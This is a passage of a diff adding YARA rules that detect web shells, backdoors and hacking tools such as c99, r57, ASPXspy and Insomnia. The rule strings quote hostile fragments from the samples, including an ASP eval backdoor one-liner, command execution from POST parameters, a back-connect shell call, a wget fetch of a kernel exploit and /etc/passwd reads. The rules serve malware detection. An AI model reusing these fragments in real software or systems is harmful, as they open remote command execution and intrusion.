+		hash = "63d9fd24fa4d22a41fc5522fc7050f9f"
+	strings:
+		$s7 = "theHref=encodeForUrl(mid(replace(lcase(list.path),lcase(server.mapPath(\"/\")),\"\")"
+		$s8 = "scrollbar-darkshadow-color:#9C9CD3;"
+		$s9 = "scrollbar-face-color:#E4E4F3;"
+	condition:
+		all of them
+}
+rule _root_040_zip_Folder_deploy {
+	meta:
+		description = "Webshells Auto-generated - file deploy.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "2c9f9c58999256c73a5ebdb10a9be269"
+	strings:
+		$s5 = "halon synscan 127.0.0.1 1-65536"
+		$s8 = "Obviously you replace the ip address with that of the target."
+
+	condition:
+		all of them
+}
+rule by063cli {
+	meta:
+		description = "Webshells Auto-generated - file by063cli.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "49ce26eb97fd13b6d92a5e5d169db859"
+	strings:
+		$s2 = "#popmsghello,are you all right?"
+		$s4 = "connect failed,check your network and remote ip."
+	condition:
+		all of them
+}
+rule icyfox007v1_10_rar_Folder_asp {
+	meta:
+		description = "Webshells Auto-generated - file asp.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "2c412400b146b7b98d6e7755f7159bb9"
+	strings:
+		$s0 = "<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>eval(Request.form('#')+'')</SCRIPT>"
+	condition:
+		all of them
+}
+rule FSO_s_EFSO_2_2 {
+	meta:
+		description = "Webshells Auto-generated - file EFSO_2.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "a341270f9ebd01320a7490c12cb2e64c"
+	strings:
+		$s0 = ";!+/DRknD7+.\\mDrC(V+kcJznndm\\f|nzKuJb'r@!&0KUY@*Jb@#@&Xl\"dKVcJ\\CslU,),@!0KxD~mKV"
+		$s4 = "\\co!VV2CDtSJ'E*#@#@&mKx/DP14lM/nY{JC81N+6LtbL3^hUWa;M/OE-AXX\"b~/fAs!u&9|J\\grKp\"j"
+	condition:
+		all of them
+}
+rule byshell063_ntboot_2 {
+	meta:
+		description = "Webshells Auto-generated - file ntboot.dll"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "cb9eb5a6ff327f4d6c46aacbbe9dda9d"
+	strings:
+		$s6 = "OK,job was done,cuz we have localsystem & SE_DEBUG_NAME:)"
+	condition:
+		all of them
+}
+rule u_uay {
+	meta:
+		description = "Webshells Auto-generated - file uay.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "abbc7b31a24475e4c5d82fc4c2b8c7c4"
+	strings:
+		$s1 = "exec \"c:\\WINDOWS\\System32\\freecell.exe"
+		$s9 = "SYSTEM\\CurrentControlSet\\Services\\uay.sys\\Security"
+	condition:
+		1 of them
+}
+rule bin_wuaus {
+	meta:
+		description = "Webshells Auto-generated - file wuaus.dll"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "46a365992bec7377b48a2263c49e4e7d"
+	strings:
+		$s1 = "9(90989@9V9^9f9n9v9"
+		$s2 = ":(:,:0:4:8:C:H:N:T:Y:_:e:o:y:"
+		$s3 = ";(=@=G=O=T=X=\\="
+		$s4 = "TCP Send Error!!"
+		$s5 = "1\"1;1X1^1e1m1w1~1"
+		$s8 = "=$=)=/=<=Y=_=j=p=z="
+	condition:
+		all of them
+}
+rule pwreveal {
+	meta:
+		description = "Webshells Auto-generated - file pwreveal.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "b4e8447826a45b76ca45ba151a97ad50"
+	strings:
+		$s0 = "*<Blank - no es"
+		$s3 = "JDiamondCS "
+		$s8 = "sword set> [Leith=0 bytes]"
+		$s9 = "ION\\System\\Floating-"
+	condition:
+		all of them
+}
+rule shelltools_g0t_root_xwhois {
+	meta:
+		description = "Webshells Auto-generated - file xwhois.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "0bc98bd576c80d921a3460f8be8816b4"
+	strings:
+		$s1 = "rting! "
+		$s2 = "aTypCog("
+		$s5 = "Diamond"
+		$s6 = "r)r=rQreryr"
+	condition:
+		all of them
+}
+rule vanquish_2 {
+	meta:
+		description = "Webshells Auto-generated - file vanquish.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "2dcb9055785a2ee01567f52b5a62b071"
+	strings:
+		$s2 = "Vanquish - DLL injection failed:"
+	condition:
+		all of them
+}
+rule down_rar_Folder_down {
+	meta:
+		description = "Webshells Auto-generated - file down.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "db47d7a12b3584a2e340567178886e71"
+	strings:
+		$s0 = "response.write \"<font color=blue size=2>NetBios Name: \\\\\"  & Snet.ComputerName &"
+	condition:
+		all of them
+}
+rule cmdShell {
+	meta:
+		description = "Webshells Auto-generated - file cmdShell.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "8a9fef43209b5d2d4b81dfbb45182036"
+	strings:
+		$s1 = "if cmdPath=\"wscriptShell\" then"
+	condition:
+		all of them
+}
+rule ZXshell2_0_rar_Folder_nc {
+	meta:
+		description = "Webshells Auto-generated - file nc.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "2cd1bf15ae84c5f6917ddb128827ae8b"
+	strings:
+		$s0 = "WSOCK32.dll"
+		$s1 = "?bSUNKNOWNV"
+		$s7 = "p@gram Jm6h)"
+		$s8 = "ser32.dllCONFP@"
+	condition:
+		all of them
+}
+rule portlessinst {
+	meta:
+		description = "Webshells Auto-generated - file portlessinst.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "74213856fc61475443a91cd84e2a6c2f"
+	strings:
+		$s2 = "Fail To Open Registry"
+		$s3 = "f<-WLEggDr\""
+		$s6 = "oMemoryCreateP"
+	condition:
+		all of them
+}
+rule SetupBDoor {
+	meta:
+		description = "Webshells Auto-generated - file SetupBDoor.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "41f89e20398368e742eda4a3b45716b6"
+	strings:
+		$s1 = "\\BDoor\\SetupBDoor"
+	condition:
+		all of them
+}
+rule phpshell_3 {
+	meta:
+		description = "Webshells Auto-generated - file phpshell.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "e8693a2d4a2ffea4df03bb678df3dc6d"
+	strings:
+		$s3 = "<input name=\"submit_btn\" type=\"submit\" value=\"Execute Command\"></p>"
+		$s5 = "      echo \"<option value=\\\"$work_dir\\\" selected>Current Directory</option>\\n\";"
+	condition:
+		all of them
+}
+rule BIN_Server {
+	meta:
+		description = "Webshells Auto-generated - file Server.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "1d5aa9cbf1429bb5b8bf600335916dcd"
+	strings:
+		$s0 = "configserver"
+		$s1 = "GetLogicalDrives"
+		$s2 = "WinExec"
+		$s4 = "fxftest"
+		$s5 = "upfileok"
+		$s7 = "upfileer"
+	condition:
+		all of them
+}
+rule HYTop2006_rar_Folder_2006 {
+	meta:
+		description = "Webshells Auto-generated - file 2006.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "c19d6f4e069188f19b08fa94d44bc283"
+	strings:
+		$s6 = "strBackDoor = strBackDoor "
+	condition:
+		all of them
+}
+rule r57shell_3 {
+	meta:
+		description = "Webshells Auto-generated - file r57shell.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "87995a49f275b6b75abe2521e03ac2c0"
+	strings:
+		$s1 = "<b>\".$_POST['cmd']"
+	condition:
+		all of them
+}
+rule HDConfig {
+	meta:
+		description = "Webshells Auto-generated - file HDConfig.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "7d60e552fdca57642fd30462416347bd"
+	strings:
+		$s0 = "An encryption key is derived from the password hash. "
+		$s3 = "A hash object has been created. "
+		$s4 = "Error during CryptCreateHash!"
+		$s5 = "A new key container has been created."
+		$s6 = "The password has been added to the hash. "
+	condition:
+		all of them
+}
+rule FSO_s_ajan_2 {
+	meta:
+		description = "Webshells Auto-generated - file ajan.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "22194f8c44524f80254e1b5aec67b03e"
+	strings:
+		$s2 = "\"Set WshShell = CreateObject(\"\"WScript.Shell\"\")"
+		$s3 = "/file.zip"
+	condition:
+		all of them
+}
+
+rule Webshell_and_Exploit_CN_APT_HK : Webshell
+{
+meta:
+	author = "Florian Roth"
+	description = "Webshell and Exploit Code in relation with APT against Honk Kong protesters"
+	date = "10.10.2014"
+	score = 50
+strings:
+	$a0 = "<script language=javascript src=http://java-se.com/o.js</script>" fullword
+	$s0 = "<span style=\"font:11px Verdana;\">Password: </span><input name=\"password\" type=\"password\" size=\"20\">"
+	$s1 = "<input type=\"hidden\" name=\"doing\" value=\"login\">"
+condition:
+	$a0 or ( all of ($s*) )
+}
+
+rule JSP_Browser_APT_webshell {
+	meta:
+		description = "VonLoesch JSP Browser used as web shell by APT groups - jsp File browser 1.1a"
+		author = "F.Roth"
+		date = "10.10.2014"
+		score = 60
+	strings:
+		$a1a = "private static final String[] COMMAND_INTERPRETER = {\"" ascii
+		$a1b = "cmd\", \"/C\"}; // Dos,Windows" ascii
+		$a2 = "Process ls_proc = Runtime.getRuntime().exec(comm, null, new File(dir));" ascii
+		$a3 = "ret.append(\"!!!! Process has timed out, destroyed !!!!!\");" ascii
+	condition:
+		all of them
+}
+
+rule JSP_jfigueiredo_APT_webshell {
+	meta:
+		description = "JSP Browser used as web shell by APT groups - author: jfigueiredo"
+		author = "F.Roth"
+		date = "12.10.2014"
+		score = 60
+		reference = "http://ceso.googlecode.com/svn/web/bko/filemanager/Browser.jsp"
+	strings:
+		$a1 = "String fhidden = new String(Base64.encodeBase64(path.getBytes()));" ascii
+		$a2 = "<form id=\"upload\" name=\"upload\" action=\"ServFMUpload\" method=\"POST\" enctype=\"multipart/form-data\">" ascii
+	condition:
+		all of them
+}
+
+rule JSP_jfigueiredo_APT_webshell_2 {
+	meta:
+		description = "JSP Browser used as web shell by APT groups - author: jfigueiredo"
+		author = "F.Roth"
+		date = "12.10.2014"
+		score = 60
+		reference = "http://ceso.googlecode.com/svn/web/bko/filemanager/"
+	strings:
+		$a1 = "<div id=\"bkorotator\"><img alt=\"\" src=\"images/rotator/1.jpg\"></div>" ascii
+		$a2 = "$(\"#dialog\").dialog(\"destroy\");" ascii
+		$s1 = "<form id=\"form\" action=\"ServFMUpload\" method=\"post\" enctype=\"multipart/form-data\">" ascii
+		$s2 = "<input type=\"hidden\" id=\"fhidden\" name=\"fhidden\" value=\"L3BkZi8=\" />" ascii
+	condition:
+		all of ($a*) or all of ($s*)
+}
+
+rule AJAX_FileUpload_webshell {
+	meta:
+		description = "AJAX JS/CSS components providing web shell by APT groups"
+		author = "F.Roth"
+		date = "12.10.2014"
+		score = 75
+		reference = "http://ceso.googlecode.com/svn/web/bko/filemanager/ajaxfileupload.js"
+	strings:
+		$a1 = "var frameId = 'jUploadFrame' + id;" ascii
+		$a2 = "var form = jQuery('<form  action=\"\" method=\"POST\" name=\"' + formId + '\" id=\"' + formId + '\" enctype=\"multipart/form-data\"></form>');" ascii
+		$a3 = "jQuery(\"<div>\").html(data).evalScripts();" ascii
+	condition:
+		all of them
+}
+
+rule Webshell_Insomnia {
+	meta:
+		description = "Insomnia Webshell - file InsomniaShell.aspx"
+		author = "Florian Roth"
+		reference = "http://www.darknet.org.uk/2014/12/insomniashell-asp-net-reverse-shell-bind-shell/"
+		date = "2014/12/09"
+		hash = "e0cfb2ffaa1491aeaf7d3b4ee840f72d42919d22"
+		score = 80
+	strings:
+		$s0 = "Response.Write(\"- Failed to create named pipe:\");" fullword ascii
+		$s1 = "Response.Output.Write(\"+ Sending {0}<br>\", command);" fullword ascii
+		$s2 = "String command = \"exec master..xp_cmdshell 'dir > \\\\\\\\127.0.0.1" ascii
+		$s3 = "Response.Write(\"- Error Getting User Info<br>\");" fullword ascii
+		$s4 = "string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes," fullword ascii
+		$s5 = "[DllImport(\"Advapi32.dll\", SetLastError = true)]" fullword ascii
+		$s9 = "username = DumpAccountSid(tokUser.User.Sid);" fullword ascii
+		$s14 = "//Response.Output.Write(\"Opened process PID: {0} : {1}<br>\", p" ascii
+	condition:
+		3 of them
+}
+
+rule HawkEye_PHP_Panel {
+	meta:
+		description = "Detects HawkEye Keyloggers PHP Panel"
+		author = "Florian Roth"
+		date = "2014/12/14"
+		score = 60
+	strings:
+		$s0 = "$fname = $_GET['fname'];" ascii fullword
+		$s1 = "$data = $_GET['data'];" ascii fullword
+		$s2 = "unlink($fname);" ascii fullword
+		$s3 = "echo \"Success\";" fullword ascii
+	condition:
+		all of ($s*) and filesize < 600
+}
+
+rule SoakSoak_Infected_Wordpress {
+	meta:
+		description = "Detects a SoakSoak infected Wordpress site http://goo.gl/1GzWUX"
+		reference = "http://goo.gl/1GzWUX"
+		author = "Florian Roth"
+		date = "2014/12/15"
+		score = 60
+	strings:
+		$s0 = "wp_enqueue_script(\"swfobject\");" ascii fullword
+		$s1 = "function FuncQueueObject()" ascii fullword
+		$s2 = "add_action(\"wp_enqueue_scripts\", 'FuncQueueObject');" ascii fullword
+	condition:
+		all of ($s*)
+}
+
+rule Pastebin_Webshell {
+	meta:
+		description = "Detects a web shell that downloads content from pastebin.com http://goo.gl/7dbyZs"
+		author = "Florian Roth"
+		score = 70
+		date = "13.01.2015"
+		reference = "http://goo.gl/7dbyZs"
+	strings:
+		$s0 = "file_get_contents(\"http://pastebin.com" ascii
+		$s1 = "xcurl('http://pastebin.com/download.php" ascii
+		$s2 = "xcurl('http://pastebin.com/raw.php" ascii
+
+		$x0 = "if($content){unlink('evex.php');" ascii
+		$x1 = "$fh2 = fopen(\"evex.php\", 'a');" ascii
+
+		$y0 = "file_put_contents($pth" ascii
+		$y1 = "echo \"<login_ok>" ascii
+		$y2 = "str_replace('* @package Wordpress',$temp" ascii
+	condition:
+		1 of ($s*) or all of ($x*) or all of ($y*)
+}
+
+rule ASPXspy2 {
+	meta:
+		description = "Web shell - file ASPXspy2.aspx"
+		author = "Florian Roth"
+		reference = "not set"
+		date = "2015/01/24"
+		hash = "5642387d92139bfe9ae11bfef6bfe0081dcea197"
+	strings:
+		$s0 = "string iVDT=\"-SETUSERSETUP\\r\\n-IP=0.0.0.0\\r\\n-PortNo=52521\\r\\n-User=bin" ascii
+		$s1 = "SQLExec : <asp:DropDownList runat=\"server\" ID=\"FGEy\" AutoPostBack=\"True\" O" ascii
+		$s3 = "Process[] p=Process.GetProcesses();" fullword ascii
+		$s4 = "Response.Cookies.Add(new HttpCookie(vbhLn,Password));" fullword ascii
+		$s5 = "[DllImport(\"kernel32.dll\",EntryPoint=\"GetDriveTypeA\")]" fullword ascii
+		$s6 = "<p>ConnString : <asp:TextBox id=\"MasR\" style=\"width:70%;margin:0 8px;\" CssCl" ascii
+		$s7 = "ServiceController[] kQmRu=System.ServiceProcess.ServiceController.GetServices();" fullword ascii
+		$s8 = "Copyright &copy; 2009 Bin -- <a href=\"http://www.rootkit.net.cn\" target=\"_bla" ascii
+		$s10 = "Response.AddHeader(\"Content-Disposition\",\"attachment;filename=\"+HttpUtility." ascii
+		$s11 = "nxeDR.Command+=new CommandEventHandler(this.iVk);" fullword ascii
+		$s12 = "<%@ import Namespace=\"System.ServiceProcess\"%>" fullword ascii
+		$s13 = "foreach(string innerSubKey in sk.GetSubKeyNames())" fullword ascii
+		$s17 = "Response.Redirect(\"http://www.rootkit.net.cn\");" fullword ascii
+		$s20 = "else if(Reg_Path.StartsWith(\"HKEY_USERS\"))" fullword ascii
+	condition:
+		6 of them
+}
+
+
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-01-11
+	Identifier: Web Shell Repo
+	Reference: https://github.com/nikicat/web-malware-collection
+*/
+
+rule Webshell_27_9_c66_c99 {
+	meta:
+		description = "Detects Webshell - rule generated from from files 27.9.txt, c66.php, c99-shadows-mod.php, c99.php ..."
+		author = "Florian Roth"
+		reference = "https://github.com/nikicat/web-malware-collection"
+		date = "2016-01-11"
+		score = 70
+		hash1 = "2b8aed49f50acd0c1b89a399647e1218f2a8545da96631ac0882da28810eecc4"
+		hash2 = "5d7709a33879d1060a6cff5bae119de7d5a3c17f65415822fd125af56696778c"
+		hash3 = "c377f9316a4c953602879eb8af1fd7cbb0dd35de6bb4747fa911234082c45596"
+		hash4 = "80ec7831ae888d5603ed28d81225ed8b256c831077bb8feb235e0a1a9b68b748"
+		hash5 = "6ce99e07aa98ba6dc521c34cf16fbd89654d0ba59194878dffca857a4c34e57b"
+		hash6 = "383d771b55bbe5343bab946fd7650fd42de1933c4c8f32449d9a40c898444ef1"
+		hash7 = "07f9ec716fb199e00a90091ffba4c2ee1a328a093a64e610e51ab9dd6d33357a"
+		hash8 = "615e768522447558970c725909e064558f33d38e6402c63c92a1a8bc62b64966"
+		hash9 = "ef3a7cd233a880fc61efc3884f127dd8944808babd1203be2400144119b6057f"
+		hash10 = "a4db77895228f02ea17ff48976e03100ddfaef7c9f48c1d40462872f103451d5"
+	strings:
+		$s4 = "if (!empty($unset_surl)) {setcookie(\"c99sh_surl\"); $surl = \"\";}" fullword ascii
+		$s6 = "@extract($_REQUEST[\"c99shcook\"]);" fullword ascii
+		$s7 = "if (!function_exists(\"c99_buff_prepare\"))" fullword ascii
+	condition:
+		filesize < 685KB and 1 of them
+}
+
+rule Webshell_acid_AntiSecShell_3 {
+	meta:
+		description = "Detects Webshell Acid"
+		author = "Florian Roth"
+		reference = "https://github.com/nikicat/web-malware-collection"
+		date = "2016-01-11"
+		score = 70
+		hash1 = "2b8aed49f50acd0c1b89a399647e1218f2a8545da96631ac0882da28810eecc4"
+		hash2 = "7a69466dbd18182ce7da5d9d1a9447228dcebd365e0fe855d0e02024f4117549"
+		hash3 = "0202f72b3e8b62e5ebc99164c7d4eb8ec5be6a7527286e9059184aa8321e0092"
+		hash4 = "d4424c61fe29d2ee3d8503f7d65feb48341ac2fc0049119f83074950e41194d5"
+		hash5 = "5d7709a33879d1060a6cff5bae119de7d5a3c17f65415822fd125af56696778c"
+		hash6 = "21dd06ec423f0b49732e4289222864dcc055967922d0fcec901d38a57ed77f06"
+		hash7 = "c377f9316a4c953602879eb8af1fd7cbb0dd35de6bb4747fa911234082c45596"
+		hash8 = "816e699014be9a6d02d5d184eb958c49469d687b7c6fb88e878bca64688a19c9"
+		hash9 = "383d771b55bbe5343bab946fd7650fd42de1933c4c8f32449d9a40c898444ef1"
+		hash10 = "07f9ec716fb199e00a90091ffba4c2ee1a328a093a64e610e51ab9dd6d33357a"
+		hash11 = "615e768522447558970c725909e064558f33d38e6402c63c92a1a8bc62b64966"
+		hash12 = "bbe0f7278041cb3a6338844aa12c3df6b700a12a78b0a58bce3dce14f1c37b96"
+		hash13 = "d0edca7539ef2d30f0b3189b21a779c95b5815c1637829b5594e2601e77cb4dc"
+		hash14 = "65e7edf10ffb355bed81b7413c77d13d592f63d39e95948cdaea4ea0a376d791"
+		hash15 = "ef3a7cd233a880fc61efc3884f127dd8944808babd1203be2400144119b6057f"
+		hash16 = "ba87d26340f799e65c771ccb940081838afe318ecb20ee543f32d32db8533e7f"
+		hash17 = "a4db77895228f02ea17ff48976e03100ddfaef7c9f48c1d40462872f103451d5"
+		hash18 = "1fdf6e142135a34ae1caf1d84adf5e273b253ca46c409b2530ca06d65a55ecbd"
+	strings:
+		$s0 = "echo \"<option value=delete\".($dspact == \"delete\"?\" selected\":\"\").\">Delete</option>\";" fullword ascii
+		$s1 = "if (!is_readable($o)) {return \"<font color=red>\".view_perms(fileperms($o)).\"</font>\";}" fullword ascii
+	condition:
+		filesize < 900KB and all of them
+}
+
+rule Webshell_c99_4 {
+	meta:
+		description = "Detects C99 Webshell"
+		author = "Florian Roth"
+		reference = "https://github.com/nikicat/web-malware-collection"
+		date = "2016-01-11"
+		score = 70
+		hash1 = "2b8aed49f50acd0c1b89a399647e1218f2a8545da96631ac0882da28810eecc4"
+		hash2 = "0202f72b3e8b62e5ebc99164c7d4eb8ec5be6a7527286e9059184aa8321e0092"
+		hash3 = "d4424c61fe29d2ee3d8503f7d65feb48341ac2fc0049119f83074950e41194d5"
+		hash4 = "5d7709a33879d1060a6cff5bae119de7d5a3c17f65415822fd125af56696778c"
+		hash5 = "21dd06ec423f0b49732e4289222864dcc055967922d0fcec901d38a57ed77f06"
+		hash6 = "c377f9316a4c953602879eb8af1fd7cbb0dd35de6bb4747fa911234082c45596"
+		hash7 = "816e699014be9a6d02d5d184eb958c49469d687b7c6fb88e878bca64688a19c9"
+		hash8 = "383d771b55bbe5343bab946fd7650fd42de1933c4c8f32449d9a40c898444ef1"
+		hash9 = "07f9ec716fb199e00a90091ffba4c2ee1a328a093a64e610e51ab9dd6d33357a"
+		hash10 = "615e768522447558970c725909e064558f33d38e6402c63c92a1a8bc62b64966"
+		hash11 = "bbe0f7278041cb3a6338844aa12c3df6b700a12a78b0a58bce3dce14f1c37b96"
+		hash12 = "ef3a7cd233a880fc61efc3884f127dd8944808babd1203be2400144119b6057f"
+		hash13 = "a4db77895228f02ea17ff48976e03100ddfaef7c9f48c1d40462872f103451d5"
+		hash14 = "1fdf6e142135a34ae1caf1d84adf5e273b253ca46c409b2530ca06d65a55ecbd"
+	strings:
+		$s1 = "displaysecinfo(\"List of Attributes\",myshellexec(\"lsattr -a\"));" fullword ascii
+		$s2 = "displaysecinfo(\"RAM\",myshellexec(\"free -m\"));" fullword ascii
+		$s3 = "displaysecinfo(\"Where is perl?\",myshellexec(\"whereis perl\"));" fullword ascii
+		$s4 = "$ret = myshellexec($handler);" fullword ascii
+		$s5 = "if (posix_kill($pid,$sig)) {echo \"OK.\";}" fullword ascii
+	condition:
+		filesize < 900KB and 1 of them
+}
+
+rule Webshell_r57shell_2 {
+	meta:
+		description = "Detects Webshell R57"
+		author = "Florian Roth"
+		reference = "https://github.com/nikicat/web-malware-collection"
+		date = "2016-01-11"
+		score = 70
+		hash1 = "e46777e5f1ac1652db3ce72dd0a2475ea515b37a737fffd743126772525a47e6"
+		hash2 = "aa957ca4154b7816093d667873cf6bdaded03f820e84d8f1cd5ad75296dd5d4d"
+		hash3 = "aa957ca4154b7816093d667873cf6bdaded03f820e84d8f1cd5ad75296dd5d4d"
+		hash4 = "756b788401aad4bfd4dbafd15c382d98e3ba079390addb5b0cea7ff7f985f881"
+		hash5 = "756b788401aad4bfd4dbafd15c382d98e3ba079390addb5b0cea7ff7f985f881"
+		hash6 = "16b6ec4b80f404f4616e44d8c21978dcdad9f52c84d23ba27660ee8e00984ff2"
+		hash7 = "59105e4623433d5bf93b9e17d72a43a40a4d8ac99e4a703f1d8851ad1276cd88"
+		hash8 = "1db0549066f294f814ec14ba4e9f63d88c4460d68477e5895236173df437d2b8"
+		hash9 = "c6a5148c81411ec9200810619fa5eec6616800a4d76c988431c272bc8679254f"
+		hash10 = "c6a5148c81411ec9200810619fa5eec6616800a4d76c988431c272bc8679254f"
+		hash11 = "59ea6cf16ea06ff47cf0e6a398df2eaec4d329707b8c3201fc63cbf0b7c85519"
+		hash12 = "0e0227a0001b38fb59fc07749e80c9d298ff0e6aca126ea8f4ea68ebc9a3661f"
+		hash13 = "ef74644065925aa8d64913f5f124fe73d8d289d5f019a104bf5f56689f49ba92"
+	strings:
+		$s1 = "$connection = @ftp_connect($ftp_server,$ftp_port,10);" fullword ascii
+		$s2 = "echo $lang[$language.'_text98'].$suc.\"\\r\\n\";" fullword ascii
+	condition:
+		filesize < 900KB and all of them
+}
+
+rule Webshell_27_9_acid_c99_locus7s {
+	meta:
+		description = "Detects Webshell - rule generated from from files 27.9.txt, acid.php, c99_locus7s.txt"
+		author = "Florian Roth"
+		reference = "https://github.com/nikicat/web-malware-collection"
+		date = "2016-01-11"
+		score = 70
+		hash1 = "2b8aed49f50acd0c1b89a399647e1218f2a8545da96631ac0882da28810eecc4"
+		hash2 = "7a69466dbd18182ce7da5d9d1a9447228dcebd365e0fe855d0e02024f4117549"
+		hash3 = "960feb502f913adff6b322bc9815543e5888bbf9058ba0eb46ceb1773ea67668"
+		hash4 = "07f9ec716fb199e00a90091ffba4c2ee1a328a093a64e610e51ab9dd6d33357a"
+		hash5 = "bbe0f7278041cb3a6338844aa12c3df6b700a12a78b0a58bce3dce14f1c37b96"
+		hash6 = "5ae121f868555fba112ca2b1a9729d4414e795c39d14af9e599ce1f0e4e445d3"
+		hash7 = "ef3a7cd233a880fc61efc3884f127dd8944808babd1203be2400144119b6057f"
+		hash8 = "ba87d26340f799e65c771ccb940081838afe318ecb20ee543f32d32db8533e7f"
+	strings:
+		$s0 = "$blah = ex($p2.\" /tmp/back \".$_POST['backconnectip'].\" \".$_POST['backconnectport'].\" &\");" fullword ascii
+		$s1 = "$_POST['backcconnmsge']=\"</br></br><b><font color=red size=3>Error:</font> Can't backdoor host!</b>\";" fullword ascii
+	condition:
+		filesize < 1711KB and 1 of them
+}
+
+rule Webshell_Backdoor_PHP_Agent_r57_mod_bizzz_shell_r57 {
+	meta:
+		description = "Detects Webshell - rule generated from from files Backdoor.PHP.Agent.php, r57.mod-bizzz.shell.txt ..."
+		author = "Florian Roth"
+		reference = "https://github.com/nikicat/web-malware-collection"
+		date = "2016-01-11"
+		score = 70
+		hash1 = "e46777e5f1ac1652db3ce72dd0a2475ea515b37a737fffd743126772525a47e6"
+		hash2 = "f51a5c5775d9cca0b137ddb28ff3831f4f394b7af6f6a868797b0df3dcdb01ba"
+		hash3 = "16b6ec4b80f404f4616e44d8c21978dcdad9f52c84d23ba27660ee8e00984ff2"
+		hash4 = "59105e4623433d5bf93b9e17d72a43a40a4d8ac99e4a703f1d8851ad1276cd88"
+		hash5 = "6dc417db9e07420a618d44217932ca8baf3541c08d5e68281e1be10af4280e4a"
+		hash6 = "5d07fdfee2dc6d81da26f05028f79badd10dec066909932129d398627b2f4e94"
+		hash7 = "1db0549066f294f814ec14ba4e9f63d88c4460d68477e5895236173df437d2b8"
+		hash8 = "c6a5148c81411ec9200810619fa5eec6616800a4d76c988431c272bc8679254f"
+		hash9 = "59ea6cf16ea06ff47cf0e6a398df2eaec4d329707b8c3201fc63cbf0b7c85519"
+		hash10 = "0e0227a0001b38fb59fc07749e80c9d298ff0e6aca126ea8f4ea68ebc9a3661f"
+		hash11 = "ef74644065925aa8d64913f5f124fe73d8d289d5f019a104bf5f56689f49ba92"
+	strings:
+		$s1 = "$_POST['cmd'] = which('" ascii
+		$s2 = "$blah = ex(" fullword ascii
+	condition:
+		filesize < 600KB and all of them
+}
+
+rule Webshell_c100 {
+	meta:
+		description = "Detects Webshell - rule generated from from files c100 v. 777shell"
+		author = "Florian Roth"
+		reference = "https://github.com/nikicat/web-malware-collection"
+		date = "2016-01-11"
+		score = 70
+		hash1 = "0202f72b3e8b62e5ebc99164c7d4eb8ec5be6a7527286e9059184aa8321e0092"
+		hash2 = "d4424c61fe29d2ee3d8503f7d65feb48341ac2fc0049119f83074950e41194d5"
+		hash3 = "21dd06ec423f0b49732e4289222864dcc055967922d0fcec901d38a57ed77f06"
+		hash4 = "c377f9316a4c953602879eb8af1fd7cbb0dd35de6bb4747fa911234082c45596"
+		hash5 = "816e699014be9a6d02d5d184eb958c49469d687b7c6fb88e878bca64688a19c9"
+		hash6 = "bbe0f7278041cb3a6338844aa12c3df6b700a12a78b0a58bce3dce14f1c37b96"
+		hash7 = "ef3a7cd233a880fc61efc3884f127dd8944808babd1203be2400144119b6057f"
+	strings:
+		$s0 = "<OPTION VALUE=\"wget http://ftp.powernet.com.tr/supermail/debug/k3\">Kernel attack (Krad.c) PT1 (If wget installed)" fullword ascii
+		$s1 = "<center>Kernel Info: <form name=\"form1\" method=\"post\" action=\"http://google.com/search\">" fullword ascii
+		$s3 = "cut -d: -f1,2,3 /etc/passwd | grep ::" ascii
+		$s4 = "which wget curl w3m lynx" ascii
+		$s6 = "netstat -atup | grep IST"  ascii
+	condition:
+		filesize < 685KB and 2 of them
+}
+
+rule Webshell_AcidPoison {
+	meta:
+		description = "Detects Poison Sh3ll - Webshell"
+		author = "Florian Roth"
+		reference = "https://github.com/nikicat/web-malware-collection"
+		date = "2016-01-11"
+		score = 70
+		hash1 = "7a69466dbd18182ce7da5d9d1a9447228dcebd365e0fe855d0e02024f4117549"
+		hash2 = "7a69466dbd18182ce7da5d9d1a9447228dcebd365e0fe855d0e02024f4117549"
+		hash3 = "d0edca7539ef2d30f0b3189b21a779c95b5815c1637829b5594e2601e77cb4dc"
+		hash4 = "d0edca7539ef2d30f0b3189b21a779c95b5815c1637829b5594e2601e77cb4dc"
+		hash5 = "65e7edf10ffb355bed81b7413c77d13d592f63d39e95948cdaea4ea0a376d791"
+		hash6 = "65e7edf10ffb355bed81b7413c77d13d592f63d39e95948cdaea4ea0a376d791"
+		hash7 = "be541cf880a8e389a0767b85f1686443f35b508d1975ee25e1ce3f08fa32cfb5"
+		hash8 = "be541cf880a8e389a0767b85f1686443f35b508d1975ee25e1ce3f08fa32cfb5"
+		hash9 = "ba87d26340f799e65c771ccb940081838afe318ecb20ee543f32d32db8533e7f"
+		hash10 = "ba87d26340f799e65c771ccb940081838afe318ecb20ee543f32d32db8533e7f"
+	strings:
+		$s1 = "elseif ( enabled(\"exec\") ) { exec($cmd,$o); $output = join(\"\\r\\n\",$o); }" fullword ascii
+	condition:
+		filesize < 550KB and all of them
+}
+
+rule Webshell_acid_FaTaLisTiCz_Fx_fx_p0isoN_sh3ll_x0rg_byp4ss_256 {
+	meta:
+		description = "Detects Webshell - rule generated from from files acid.php, FaTaLisTiCz_Fx.txt, fx.txt, p0isoN.sh3ll.txt, x0rg.byp4ss.txt"
